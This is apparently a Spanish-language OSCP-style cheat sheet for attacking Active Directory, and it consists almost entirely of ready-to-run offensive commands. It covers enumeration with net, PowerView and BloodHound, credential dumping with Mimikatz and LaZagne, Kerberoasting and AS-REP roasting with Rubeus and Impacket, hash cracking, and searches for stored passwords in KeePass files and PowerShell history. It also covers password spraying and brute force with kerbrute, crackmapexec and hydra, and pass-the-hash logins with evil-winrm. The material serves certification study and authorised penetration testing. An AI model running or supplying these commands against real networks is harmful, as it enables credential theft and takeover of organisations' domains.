# Active Directory

#### Recursos

* [CME Cheatsheet](https://cheatsheet.haax.fr/windows-systems/exploitation/crackmapexec/)
* [PowerView Cheatsheet](https://zflemingg1.gitbook.io/undergrad-tutorials/powerview/powerview-cheatsheet)

### Escaneo inicial

* **Escaneo de puertos conocidos a lista de hosts:** `nmap -sT 21,22,23,25,53,80,88,135,161,389,445,8000,8080,3389,5985,3306,3307,1433,5432 -iL hosts.txt`

## Recopilación de información

### Desde máquina Windows comprometida

### **01. Obtener Usuarios y Grupos**

* ¿Qué usuarios pertenecen a grupos que permiten administración remota? (RDP, WinRM)

**Con net:**

* `net user /domain`
* `net user <username> /domain`
* `net group /domain`
* `net group <groupname> /domain`

**PowerView:**

* [Cheatsheet](https://zflemingg1.gitbook.io/undergrad-tutorials/powerview/powerview-cheatsheet)

**Identificar objetos en Active Directory sobre los cuales el usuario tiene control total (GenericAll) y puede realizar acciones administrativas**

* `Get-ObjectAcl -Identity "xerosec" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights`
* `"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID`
  * `net user usuario nuevacontraseña /domain`

**Usuarios Kerberoastables**

* `Get-NetUser -Domain msp.local | Where-Object {$_.servicePrincipalName} | select name, samaccountname, serviceprincipalname`

**Máquinas en el dominio**

* `Get-NetComputer -Properties samaccountname, samaccounttype, operatingsystem`

**Lista grupos**

* `Get-NetGroup -Domain internal.msp.local | select name`

**Miembros de un grupo**

* `Get-DomainGroupMember "Domain Admins" -Recurse`

### Desde la máquina de atacante

#### SMB

#### Con credenciales:

* `cme smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --users`
* `crackmapexec smb $IP -u 'user' -p 'PASS' --rid-brute`
* `crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --groups`
* `crackmapexec smb $IP -u 'user' -p 'PASS' --local-users`
* `crackmapexec smb $IP -u 'Administrator' -p 'PASS' --local-auth --sam`

#### LDAP

#### Con credenciales:

`ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'`

#### RPC

#### Sin credenciales:

`rpcclient -U "" -N $IP`

#### Con credenciales:

`rpcclient -U "dominino.tld/usuario%contraseña" $IP`

***

## 02. Búsqueda de contraseñas

### Desde máquina Windows comprometida

#### [Cheatsheet](https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49) de Mimikatz

**Requiere permisos de administrador**

* `privilege::debug` `token::elevate`
* `sekurlsa::logonpasswords`
  * `ekeys` `credman` `wdigest`
* `lsadump::sam`
  * `secrets`
* `.\\\\mimikatz.exe "token::elevate" "lsadump::secrets" exit`

[Lazagne](https://github.com/AlessandroZ/LaZagne/releases/tag/v2.4.5) (Mimikatz en esteróides)

* `lazagne.exe all`

#### Rubeus

**Requiere permisos de administrador**

**Kerberoasting**

* `.\\\\Rubeus.exe kerberoast /outfile:hashes.kerberoast`
* `sudo hashcat -m 13100 hashes.kerb /usr/share/wordlists/rockyou.txt --force`

**AS-REP Roasting**

* `.\\\\Rubeus.exe asreproast /nowrap`
* `sudo hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt --force`

#### Credenciales almacenadas

Archivos de bases de datos

* `Get-ChildItem -Path C:\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue`
* `keepass2john Database.kdbx > Keepasshash.txt`
* `john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt`
* Mover el archivo a `~/keepass` y abrirlo con herramientas como `kpcli`

**Historial de Powershell**

* `Get-History`
* `(Get-PSReadlineOption).HistorySavePath`
* `type %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt` (Ejecutar para cada usuario)

**Archivos interesantes**

* `cmdkey /list`
* En el directorios “Users”: `Get-ChildItem -Path C:\\\\Users\\\\ -Include *.txt,*.log,*.xml,*.ini -File -Recurse -ErrorAction SilentlyContinue`
* Desde la raíz: `Get-ChildItem -Path C:\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue`
* `sysprep.*` `unattend.*`
* `Group Policies` `gpp-decrypt <hash>`

### Desde la máquina de atacante

#### Bloodhound

* `bloodhound-python -u usuario -p 'contraseña' -d dominio.tld -ns IP_DC -c All`
* Importar lo archivos extraídos a Bloodhound

#### LDAP

* `ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'`
* `ldapsearch -x -H ldap://$IP -D 'usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'`

#### SMB

* `crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --shares`
* `crackmapexec smb $IP -u 'user' -p 'PASS' --local-auth --shares`
* `crackmapexec smb $IP -u 'user' -p 'PASS' --sessions`
* `crackmapexec smb $IP -u 'user' -p 'PASS' --lusers`

#### SNMP

* `sudo nmap -sU -p 161 --script snmp-brute $IP`
* `sudo nmap -sU -p 161 --script snmp-win32-users $IP`
* `onesixtyone -c /usr/share/doc/onesixtyone/dict.txt $IP`
* `snmpwalk -v 1 -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects`
* `snmpwalk -v2c -c public $IP | grep <string>`

#### Impacket

#### Kerberoasting

* `impacket-GetUserSPNs dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile hashes.kerb`

#### AS-REP Roasting

* `impacket-GetNPUsers dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile dave.hash`

***

## 03. Recopilación de información obtenida

* Crear una lista de usuarios
  * Asegurarse de diferenciar usuarios "locales" y usuarios de "dominio"
* Crear una lista de hashes y contraseñas o cualquier cosa que pueda ser una contraseña
  * `domain_hashes.txt`
  * `domain_passwords.txt`
* Verificar la política de contraseñas para asegurarse de no bloquear cuentas
  * **Desde máquina Windows comprometida:** `net accounts /domain`
  * **Desde máquina atacante:** `cme smb 172.16.10.10 --pass-pol` (Puede que necesite credenciales válidas)

***

#### Fuerza bruta de credenciales

* [Diferentes formas de realizar la técnica Pass the Hash](https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/)
* Especificar con y sin dominio

#### Kerberos

**Password Spray**

* `kerbrute passwordspray -d dominio.tld users.txt password --dc IP_DC -vvv`

**Fuerza bruta**

* `kerbrute bruteuser -d dominio.tld usuario passwords.txt --dc IP_DC -vvv`

#### SMB

* `crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt -d dominio.tld --continue-on-success`
* `crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success`
* `crackmapexec smb <IP>(o lista de IPs) -u users.txt -H '<HASH>' --continue-on-success`
* `crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success --local-auth`

#### RDP

* `hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt rdp://<IP>:3389 -u -vV -T 40 -I`
* `hydra -V -f -L users.txt -P passwords.txt rdp://<IP> -u -vV -T 40 -I`

#### WinRM

* `evil-winrm -i <IP> -u usuario -p 'contraseña'`
* `evil-winrm -i <IP> -u usuario -H '<HASH>'`

#### FTP

* `hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt <ftp://<IP>:21> -u -vV -T 40 -I`

#### SSH

* `hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt ssh://<IP>:22 -u -vV -T 40 -I`

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

**Fuente original:** <https://github.com/intotheewild/OSCP-Checklist>

📝 LinkedIn ⮞ <https://www.linkedin.com/in/david-rodriguez-ramos/>\
▶️ YouTube ⮞ <https://www.youtube.com/c/xerosec>\
🐦 Twitter ⮞ <https://twitter.com/xerosec>\
🔴 Twitch ⮞ [https://www.twitch.tv/xerosec](https://www.twitch.tv/xerosec/)  \
💬 Discord ⮞ <https://discord.gg/E4AjK2XsFm>
